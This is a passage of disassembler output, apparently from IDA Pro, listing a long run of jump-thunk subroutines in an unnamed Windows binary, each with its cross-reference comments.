Attributes: thunk sub_401BBD proc near ; DATA XREF: _8C6BDE73:00437080o jmp sub_41E1D0 sub_401BBD endp ; --------------------------------------------------------------------------- jmp loc_429250 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BC7 proc near ; CODE XREF: sub_40B9F0+5p jmp sub_40BC50 sub_401BC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BCC proc near ; CODE XREF: _294ADE7B:0042C2DFp ; _294ADE7B:0042C2EBp jmp sub_42A3D0 sub_401BCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BD1 proc near ; CODE XREF: sub_420420+11p ; sub_420420+27p ... jmp sub_4209D0 sub_401BD1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BD6 proc near ; DATA XREF: _8C6BDE73:00437048o jmp sub_411F80 sub_401BD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BDB proc near ; CODE XREF: sub_414530+1Fp jmp sub_414EB0 sub_401BDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BE0 proc near ; CODE XREF: sub_40E390+1ACp ; sub_40E390+1EDp ... jmp sub_40E320 sub_401BE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BE5 proc near ; CODE XREF: sub_412B30+15Cp jmp sub_412E20 sub_401BE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BEA proc near ; CODE XREF: sub_404840+23p ; sub_40EB00+13C2p jmp sub_411410 sub_401BEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BEF proc near ; CODE XREF: _294ADE7B:004159CFp jmp sub_416800 sub_401BEF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BF4 proc near ; CODE XREF: sub_4071F0+7p ; sub_40BD60+7p ... jmp sub_407290 sub_401BF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BF9 proc near ; CODE XREF: sub_40A370+1Ap ; sub_40A420+4p ... jmp sub_40A3E0 sub_401BF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BFE proc near ; CODE XREF: sub_404260+289p ; sub_404260+2ADp ... jmp sub_409C00 sub_401BFE endp ; --------------------------------------------------------------------------- jmp loc_42A450 ; --------------------------------------------------------------------------- jmp loc_429820 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C0D proc near ; CODE XREF: sub_416AE0+C0p jmp sub_403BE0 sub_401C0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C12 proc near ; CODE XREF: sub_4108D0+123p ; sub_4108D0+1E2p jmp loc_410FA0 sub_401C12 endp ; --------------------------------------------------------------------------- jmp loc_419B10 ; --------------------------------------------------------------------------- jmp loc_40B2F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C21 proc near ; CODE XREF: sub_420350+5p jmp sub_4208B0 sub_401C21 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C26 proc near ; CODE XREF: sub_414C00+5Fp jmp sub_415420 sub_401C26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C2B proc near ; CODE XREF: sub_41BE00+2C7p jmp sub_429BE0 sub_401C2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C30 proc near ; CODE XREF: sub_417260+7p jmp sub_417500 sub_401C30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C35 proc near ; CODE XREF: sub_412400+5Dp ; sub_412400+9Bp ... jmp sub_4140D0 sub_401C35 endp ; --------------------------------------------------------------------------- jmp loc_42FBD0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C3F proc near ; CODE XREF: sub_4144C0+16p ; sub_414500+Bp ... jmp sub_415170 sub_401C3F endp ; --------------------------------------------------------------------------- jmp loc_40B3E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C49 proc near ; CODE XREF: sub_42E070+97p jmp sub_42B800 sub_401C49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C4E proc near ; CODE XREF: sub_420230+16p ; sub_420270+Bp ... jmp sub_420880 sub_401C4E endp ; --------------------------------------------------------------------------- jmp loc_427980 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C58 proc near ; CODE XREF: sub_416AE0+1F8p jmp sub_41AA60 sub_401C58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C5D proc near ; CODE XREF: sub_416FA0+16p ; sub_416FE0+Bp ... jmp sub_4173E0 sub_401C5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C62 proc near ; CODE XREF: sub_412400+53p ; sub_412400+91p ... jmp sub_413F30 sub_401C62 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C67 proc near ; CODE XREF: sub_421170+56p jmp sub_425500 sub_401C67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C6C proc near ; CODE XREF: sub_421170+18Ap jmp sub_425400 sub_401C6C endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C76 proc near ; CODE XREF: sub_414410+11p ; sub_414EB0+1Fp jmp sub_4150A0 sub_401C76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C7B proc near ; CODE XREF: sub_413EF0+16p ; sub_413F30+Bp ... jmp sub_414AD0 sub_401C7B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C80 proc near ; CODE XREF: _294ADE7B:004134A3p jmp sub_413260 sub_401C80 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_4. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_4243C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C8F proc near ; CODE XREF: sub_427310+90p jmp sub_4278C0 sub_401C8F endp ; --------------------------------------------------------------------------- jmp loc_412EB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C99 proc near ; CODE XREF: sub_42E960+74p jmp sub_42C990 sub_401C99 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C9E proc near ; CODE XREF: sub_41E060+1Dp jmp sub_40ABD0 sub_401C9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CA3 proc near ; CODE XREF: sub_40A550+45p jmp sub_40A7D0 sub_401CA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CA8 proc near ; CODE XREF: sub_42A250+71p ; _294ADE7B:0042A381p ... jmp loc_42CB30 sub_401CA8 endp ; --------------------------------------------------------------------------- jmp loc_427250 ; --------------------------------------------------------------------------- jmp loc_42CC00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CB7 proc near ; CODE XREF: sub_40EB00+AE7p ; sub_40EB00+E5Dp jmp sub_41D440 sub_401CB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CBC proc near ; CODE XREF: sub_40A800+Ap jmp sub_40A8F0 sub_401CBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CC1 proc near ; CODE XREF: _294ADE7B:00423760p ; sub_4239C0+C3p ... jmp sub_421D50 sub_401CC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CC6 proc near ; CODE XREF: sub_420550+4p jmp sub_4209F0 sub_401CC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CCB proc near ; CODE XREF: sub_414EB0+5Ap jmp sub_4154F0 sub_401CCB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CD0 proc near ; CODE XREF: sub_414A50+7p jmp sub_415250 sub_401CD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CD5 proc near ; CODE XREF: sub_41BE00+19Bp jmp sub_427930 sub_401CD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CDA proc near ; CODE XREF: sub_403BE0+49Ep ; sub_404890+83Bp ... jmp sub_4111F0 sub_401CDA endp ; --------------------------------------------------------------------------- jmp sub_411F80 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CE4 proc near ; CODE XREF: sub_414140+34p ; sub_414C00+67p jmp sub_414DA0 sub_401CE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CE9 proc near ; CODE XREF: sub_412400+31p ; sub_413260+2Dp jmp sub_414060 sub_401CE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CEE proc near ; CODE XREF: _294ADE7B:004225B5p ; _294ADE7B:0042294Cp jmp sub_4252A0 sub_401CEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CF3 proc near ; CODE XREF: sub_414680+3p jmp sub_415150 sub_401CF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CF8 proc near ; CODE XREF: sub_404260+97p ; sub_404260+107p ... jmp sub_409F20 sub_401CF8 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_6. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_424990 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D07 proc near ; CODE XREF: _294ADE7B:004223EDp jmp sub_421F40 sub_401D07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D0C proc near ; CODE XREF: sub_420380+5Ap jmp sub_4208E0 sub_401D0C endp ; --------------------------------------------------------------------------- jmp loc_415900 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D16 proc near ; CODE XREF: _294ADE7B:0042D6AFp jmp sub_42AF50 sub_401D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D1B proc near ; CODE XREF: sub_415330+5p jmp sub_415580 sub_401D1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D20 proc near ; CODE XREF: sub_404890+28Dp ; sub_41BE00+6A6p jmp sub_40C8D0 sub_401D20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D25 proc near ; CODE XREF: sub_420AE0+5Fp jmp sub_420CD0 sub_401D25 endp ; --------------------------------------------------------------------------- jmp loc_418560 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D2F proc near ; CODE XREF: sub_40E390+22p ; sub_4116F0+1Dp ... jmp sub_40A920 sub_401D2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D34 proc near ; CODE XREF: sub_40A550+112p ; sub_40A550+153p jmp sub_40A830 sub_401D34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D39 proc near ; DATA XREF: _8C6BDE73:off_4370A0o jmp sub_4196B0 sub_401D39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D3E proc near ; CODE XREF: sub_414370+3p jmp sub_414E00 sub_401D3E endp ; --------------------------------------------------------------------------- jmp loc_424620 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D48 proc near ; CODE XREF: sub_426B70+1Ap jmp sub_426A30 sub_401D48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D4D proc near ; CODE XREF: _294ADE7B:0041582Bp ; _294ADE7B:004338F4j ... jmp sub_416130 sub_401D4D endp ; --------------------------------------------------------------------------- jmp loc_42D060 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D57 proc near ; CODE XREF: sub_41E6C0+3Ap jmp sub_41E8D0 sub_401D57 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D5C proc near ; DATA XREF: _8C6BDE73:004370F4o jmp sub_427310 sub_401D5C endp ; --------------------------------------------------------------------------- jmp loc_42D9A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D66 proc near ; CODE XREF: sub_4150A0+4p jmp sub_4154A0 sub_401D66 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D6B proc near ; CODE XREF: sub_4145C0+4Fp ; sub_414F50+11p ... jmp sub_4151A0 sub_401D6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D70 proc near ; CODE XREF: sub_4143E0+5p jmp sub_414E80 sub_401D70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D75 proc near ; CODE XREF: sub_422F30+151p jmp sub_422EF0 sub_401D75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D7A proc near ; CODE XREF: sub_414060+3p jmp sub_414AB0 sub_401D7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D7F proc near ; CODE XREF: sub_413DC0+11p ; sub_413E00+13p ... jmp sub_414A00 sub_401D7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D84 proc near ; CODE XREF: sub_420030+16p ; sub_420070+Bp ... jmp sub_420620 sub_401D84 endp ; --------------------------------------------------------------------------- jmp loc_416E50 ; --------------------------------------------------------------------------- jmp loc_41A920 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D93 proc near ; CODE XREF: sub_417550+18p ; sub_420380+9p jmp sub_417710 sub_401D93 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D98 proc near ; CODE XREF: sub_420C10+Ap jmp sub_420DB0 sub_401D98 endp ; --------------------------------------------------------------------------- jmp loc_41A320 ; --------------------------------------------------------------------------- jmp loc_42DA50 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DA7 proc near ; CODE XREF: _294ADE7B:0041579Bp ; _294ADE7B:00433972j ... jmp sub_416430 sub_401DA7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DAC proc near ; CODE XREF: sub_40A370+13p jmp loc_40A4B0 sub_401DAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DB1 proc near ; CODE XREF: sub_416AE0:loc_416C71p ; sub_419700:loc_41974Cp ... jmp sub_417F70 sub_401DB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DB6 proc near ; CODE XREF: sub_412FC0+95p jmp sub_414220 sub_401DB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DBB proc near ; CODE XREF: sub_414450+34p ; sub_414F50+67p jmp sub_4150F0 sub_401DBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DC0 proc near ; CODE XREF: sub_414080+3p ; sub_414790+4Fp ... jmp sub_414A90 sub_401DC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DC5 proc near ; CODE XREF: sub_416AE0+23Dp jmp sub_4119A0 sub_401DC5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DCA proc near ; CODE XREF: sub_411EB0+4Dp jmp sub_414100 sub_401DCA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DCF proc near ; CODE XREF: sub_406DA0+5Cp ; sub_417520+3p jmp sub_406FC0 sub_401DCF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DD4 proc near ; CODE XREF: sub_417770+53p jmp sub_417EC0 sub_401DD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DD9 proc near ; CODE XREF: sub_40BA20+5Ap jmp sub_40BDB0 sub_401DD9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DDE proc near ; DATA XREF: _294ADE7B:004227A4o jmp loc_422300 sub_401DDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DE3 proc near ; CODE XREF: _294ADE7B:004157DBp ; _294ADE7B:0043393Aj ... jmp sub_416390 sub_401DE3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DE8 proc near ; CODE XREF: sub_412900+99p jmp sub_412AD0 sub_401DE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DED proc near ; CODE XREF: sub_40AEF0+3Dp ; _294ADE7B:0040B68Dp ... jmp sub_40B260 sub_401DED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DF2 proc near ; CODE XREF: _294ADE7B:loc_422397p jmp sub_421E10 sub_401DF2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DF7 proc near ; CODE XREF: sub_404890+A3Ep jmp sub_4064B0 sub_401DF7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DFC proc near ; CODE XREF: sub_412740+72p jmp sub_412400 sub_401DFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E01 proc near ; CODE XREF: sub_416980+5Fp ; sub_416F30+1Ap ... jmp sub_416FA0 sub_401E01 endp ; --------------------------------------------------------------------------- jmp loc_42A140 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E0B proc near ; CODE XREF: sub_4295A0+B5p jmp sub_428460 sub_401E0B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E10 proc near ; CODE XREF: sub_40B080+4Bp ; sub_40B080:loc_40B10Bp ... jmp sub_40B9A0 sub_401E10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E15 proc near ; CODE XREF: sub_416AE0+220p jmp sub_41C9D0 sub_401E15 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E1A proc near ; CODE XREF: sub_409F90+142p jmp sub_40A370 sub_401E1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E1F proc near ; CODE XREF: sub_404260+35Dp ; sub_404260+39Ep jmp sub_404730 sub_401E1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E24 proc near ; CODE XREF: sub_414B60+9p ; sub_414C00+18p jmp sub_415460 sub_401E24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E29 proc near ; CODE XREF: sub_42CCD0+1Bp jmp sub_42CD80 sub_401E29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E2E proc near ; CODE XREF: sub_4267F0+1Dp ; sub_426D40+1Dp ... jmp sub_426BB0 sub_401E2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E33 proc near ; CODE XREF: _294ADE7B:00425E26p ; _294ADE7B:00425E43p ... jmp sub_425960 sub_401E33 endp ; --------------------------------------------------------------------------- jmp loc_406880 ; --------------------------------------------------------------------------- jmp loc_40C1F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E42 proc near ; CODE XREF: sub_409160+112p ; sub_409160+153p jmp sub_4094A0 sub_401E42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E47 proc near ; CODE XREF: sub_420CD0+5p jmp sub_420E40 sub_401E47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E4C proc near ; CODE XREF: sub_406FF0+5p jmp sub_4071A0 sub_401E4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E51 proc near ; CODE XREF: sub_412400+6Fp ; sub_412400+DBp ... jmp sub_414080 sub_401E51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E56 proc near ; CODE XREF: sub_413FA0+5Ep ; sub_414970+32p jmp sub_4148B0 sub_401E56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E5B proc near ; CODE XREF: sub_416AE0+14Ap jmp sub_40DDC0 sub_401E5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E60 proc near ; CODE XREF: sub_411410+3p jmp sub_411440 sub_401E60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E65 proc near ; CODE XREF: sub_404260+48p ; sub_404260+5Dp ... jmp sub_409880 sub_401E65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E6A proc near ; DATA XREF: _8C6BDE73:off_43706Co jmp sub_418020 sub_401E6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E6F proc near ; CODE XREF: sub_4187B0+3p ; sub_4196E0+9j ... jmp sub_4187E0 sub_401E6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E74 proc near ; CODE XREF: sub_40B810+34p ; sub_40BC80+67p jmp sub_40BBA0 sub_401E74 endp ; --------------------------------------------------------------------------- jmp loc_42D830 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E7E proc near ; CODE XREF: sub_416AE0+180p jmp sub_40DE40 sub_401E7E endp ; --------------------------------------------------------------------------- jmp loc_42FE30 ; --------------------------------------------------------------------------- loc_401E88: ; DATA XREF: _8C6BDE73:0043703Co jmp loc_41D380 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E8D proc near ; CODE XREF: _294ADE7B:0041DE8Ap jmp sub_41E510 sub_401E8D endp ; --------------------------------------------------------------------------- jmp loc_42B520 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E97 proc near ; CODE XREF: _294ADE7B:0041594Fp jmp sub_411EB0 sub_401E97 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E9C proc near ; CODE XREF: sub_420150+5p jmp sub_420650 sub_401E9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EA1 proc near ; CODE XREF: _294ADE7B:0041FC24p jmp sub_41A670 sub_401EA1 endp ; --------------------------------------------------------------------------- off_401EA6 dd offset byte_49D5E9 ; DATA XREF: _8C6BDE73:off_437008o db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EAB proc near ; CODE XREF: sub_404260+2CEp ; sub_404890+472p ... jmp sub_40A1D0 sub_401EAB endp ; --------------------------------------------------------------------------- jmp loc_42E2A0 ; --------------------------------------------------------------------------- jmp sub_419A70 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EBA proc near ; CODE XREF: sub_420A40+Ap jmp sub_420D20 sub_401EBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EBF proc near ; CODE XREF: sub_403BE0+454p ; sub_404890+7EAp ... jmp sub_41A020 sub_401EBF endp ; --------------------------------------------------------------------------- loc_401EC4: ; DATA XREF: _8C6BDE73:off_437014o jmp loc_40A940 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EC9 proc near ; CODE XREF: _294ADE7B:0040A943p ; sub_4114E0+13Ep ... jmp sub_40A970 sub_401EC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ECE proc near ; CODE XREF: sub_422F30+109p ; sub_422F30+178p ... jmp sub_422E10 sub_401ECE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ED3 proc near ; CODE XREF: sub_409440+7p jmp sub_409530 sub_401ED3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ED8 proc near ; CODE XREF: sub_4153F0+Ap jmp sub_415600 sub_401ED8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EDD proc near ; CODE XREF: _294ADE7B:0042A08Bp ; sub_42AF70+EAp jmp sub_42E1B0 sub_401EDD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EE2 proc near ; CODE XREF: sub_420030+5p ; sub_420120+6p ... jmp sub_4205C0 sub_401EE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EE7 proc near ; CODE XREF: sub_40EB00+8ADp ; sub_40EB00+95Ep ... jmp sub_411820 sub_401EE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EEC proc near ; CODE XREF: sub_40BBA0+7p jmp sub_40BD90 sub_401EEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EF1 proc near ; CODE XREF: sub_416F30+34p ; sub_417550+67p jmp sub_417360 sub_401EF1 endp ; --------------------------------------------------------------------------- jmp loc_409670 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EFB proc near ; CODE XREF: sub_415B70+2Bp ; sub_415B70+3Bp ... jmp sub_403B00 sub_401EFB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F00 proc near ; CODE XREF: sub_409330+14p jmp sub_409390 sub_401F00 endp ; --------------------------------------------------------------------------- jmp loc_42D170 ; --------------------------------------------------------------------------- jmp sub_426860 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F0F proc near ; CODE XREF: sub_416980+4Dp jmp sub_417060 sub_401F0F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F14 proc near ; CODE XREF: sub_413EF0+5p ; sub_4140A0+6p ... jmp sub_414A70 sub_401F14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F19 proc near ; CODE XREF: sub_426860+3p jmp sub_426890 sub_401F19 endp ; --------------------------------------------------------------------------- jmp loc_419790 ; --------------------------------------------------------------------------- jmp loc_41FBF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F28 proc near ; CODE XREF: _294ADE7B:0041591Fp jmp sub_406CE0 sub_401F28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F2D proc near ; CODE XREF: sub_412400+83p ; sub_413260+91p ... jmp sub_4140A0 sub_401F2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F32 proc near ; DATA XREF: _8C6BDE73:00437060o jmp sub_41D500 sub_401F32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F37 proc near ; CODE XREF: sub_40A550+144p jmp sub_40A860 sub_401F37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F3C proc near ; CODE XREF: sub_42B0F0+BAp ; sub_42DB20+36p jmp sub_42DB90 sub_401F3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F41 proc near ; CODE XREF: sub_4204C0+23p ; sub_420910+11p jmp sub_420AB0 sub_401F41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F46 proc near ; CODE XREF: sub_4207B0+4p jmp sub_420BC0 sub_401F46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F4B proc near ; CODE XREF: _294ADE7B:004188E2p jmp sub_418980 sub_401F4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F50 proc near ; CODE XREF: sub_4154F0+Ap jmp sub_415650 sub_401F50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F55 proc near ; CODE XREF: sub_414A00+4p jmp sub_415220 sub_401F55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F5A proc near ; CODE XREF: sub_42A620+36p ; sub_42A690+28p ... jmp sub_42E960 sub_401F5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F5F proc near ; CODE XREF: sub_4173E0+8p jmp sub_417680 sub_401F5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F64 proc near ; CODE XREF: sub_416E80+34p ; sub_417440+67p jmp sub_417260 sub_401F64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F69 proc near ; CODE XREF: sub_418DA0+117p jmp sub_419CC0 sub_401F69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F6E proc near ; CODE XREF: sub_414830+35p jmp sub_415300 sub_401F6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F73 proc near ; CODE XREF: sub_404890+45Cp ; sub_406300+43p ... jmp sub_409720 sub_401F73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F78 proc near ; CODE XREF: sub_40B880+5p ; sub_40B9C0+6p ... jmp sub_40BBC0 sub_401F78 endp ; --------------------------------------------------------------------------- jmp loc_42A750 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F82 proc near ; CODE XREF: _294ADE7B:004159FAp jmp sub_417770 sub_401F82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F87 proc near ; CODE XREF: sub_40EB00+F3Dp ; sub_40EB00+1392p ... jmp sub_413560 sub_401F87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F8C proc near ; CODE XREF: sub_412740+38p ; sub_412B30+5Fp jmp sub_4122A0 sub_401F8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F91 proc near ; CODE XREF: sub_409C90+14p ; sub_409CC0+7p ... jmp sub_409CE0 sub_401F91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F96 proc near ; CODE XREF: sub_40A740+1Ap ; sub_40A790+1Ap jmp sub_40A800 sub_401F96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F9B proc near ; CODE XREF: sub_414390+3p ; sub_414B60+4Fp ... jmp sub_414DE0 sub_401F9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FA0 proc near ; DATA XREF: _8C6BDE73:0043702Co jmp sub_40EB00 sub_401FA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FA5 proc near ; CODE XREF: sub_413560+EDp jmp sub_4145C0 sub_401FA5 endp ; --------------------------------------------------------------------------- jmp loc_419A30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FAF proc near ; CODE XREF: sub_40B980+3p jmp sub_40BC00 sub_401FAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FB4 proc near ; CODE XREF: sub_40BA20+11p ; sub_40BA20+27p ... jmp sub_40BD40 sub_401FB4 endp ; =============== S U B R O U T 